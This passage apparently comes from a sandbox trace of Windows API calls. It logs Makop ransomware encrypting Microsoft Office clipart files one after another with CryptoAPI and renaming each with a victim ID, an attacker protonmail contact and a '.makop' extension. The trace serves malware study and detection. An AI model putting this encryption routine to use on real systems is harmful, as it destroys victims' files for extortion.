Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.933] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.933] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.933] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.936] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.937] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.937] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.937] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.937] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.937] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.938] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11780, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x11780, lpOverlapped=0x0) returned 1 [0137.940] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11780, dwBufLen=0x11780 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11780) returned 1 [0137.941] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.941] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11780, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11780, lpOverlapped=0x0) returned 1 [0137.941] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.942] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11854, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.942] SetEndOfFile (hFile=0xf0) returned 1 [0137.950] GetProcessHeap () returned 0x48a0000 [0137.951] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.951] GetProcessHeap () returned 0x48a0000 [0137.951] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.951] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.951] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.953] CloseHandle (hObject=0xf0) returned 1 [0137.953] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x787a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386120.JPG", cAlternateFileName="")) returned 1 [0137.953] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG") returned 63 [0137.953] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.954] GetProcessHeap () returned 0x48a0000 [0137.954] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.954] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.954] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.954] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0137.958] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.958] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.958] GetProcessHeap () returned 0x48a0000 [0137.959] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.959] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.959] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.959] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.959] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.959] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.960] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.960] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.960] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.960] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.960] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x787a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x787a, lpOverlapped=0x0) returned 1 [0137.962] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7880, dwBufLen=0x7880 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7880) returned 1 [0137.962] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.962] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7880, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7880, lpOverlapped=0x0) returned 1 [0137.963] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.963] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.963] SetEndOfFile (hFile=0xf0) returned 1 [0137.970] GetProcessHeap () returned 0x48a0000 [0137.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.970] GetProcessHeap () returned 0x48a0000 [0137.970] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.971] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.971] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386120.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386120.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.980] CloseHandle (hObject=0xf0) returned 1 [0137.980] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa91e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386267.JPG", cAlternateFileName="")) returned 1 [0137.980] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG") returned 63 [0137.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.981] GetProcessHeap () returned 0x48a0000 [0137.981] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.982] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.982] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.982] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0137.986] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.986] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.986] GetProcessHeap () returned 0x48a0000 [0137.986] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.987] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.987] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.987] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.987] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.987] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.987] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.987] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.988] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.988] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.988] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.988] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.988] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xa91e, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xa91e, lpOverlapped=0x0) returned 1 [0137.990] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa920, dwBufLen=0xa920 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xa920) returned 1 [0137.990] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.991] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xa920, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xa920, lpOverlapped=0x0) returned 1 [0137.991] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.991] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa9f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.991] SetEndOfFile (hFile=0xf0) returned 1 [0137.998] GetProcessHeap () returned 0x48a0000 [0137.998] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.998] GetProcessHeap () returned 0x48a0000 [0137.999] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.999] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.999] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386267.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.000] CloseHandle (hObject=0xf0) returned 1 [0138.001] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3b43, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386270.JPG", cAlternateFileName="")) returned 1 [0138.001] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG") returned 63 [0138.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.003] GetProcessHeap () returned 0x48a0000 [0138.003] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.003] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.003] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.003] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0138.007] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.007] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.007] GetProcessHeap () returned 0x48a0000 [0138.007] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0138.007] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0138.007] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.007] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0138.008] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0138.008] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0138.008] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0138.008] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0138.008] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0138.008] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0138.009] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0138.009] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.009] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x3b43, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x3b43, lpOverlapped=0x0) returned 1 [0138.011] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3b50, dwBufLen=0x3b50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3b50) returned 1 [0138.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.011] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3b50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3b50, lpOverlapped=0x0) returned 1 [0138.011] CryptDestroyKey (hKey=0x48c7128) returned 1 [0138.011] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3c24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0138.012] SetEndOfFile (hFile=0xf0) returned 1 [0138.018] GetProcessHeap () returned 0x48a0000 [0138.018] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0138.018] GetProcessHeap () returned 0x48a0000 [0138.018] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0138.019] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0138.019] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0138.020] CloseHandle (hObject=0xf0) returned 1 [0138.021] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x396a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0386485.JPG", cAlternateFileName="")) returned 1 [0138.021] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG") returned 63 [0138.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0138.022] GetProcessHeap () returned 0x48a0000 [0138.022] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0138.022] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0138.022] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0138.022] WriteFile (in: 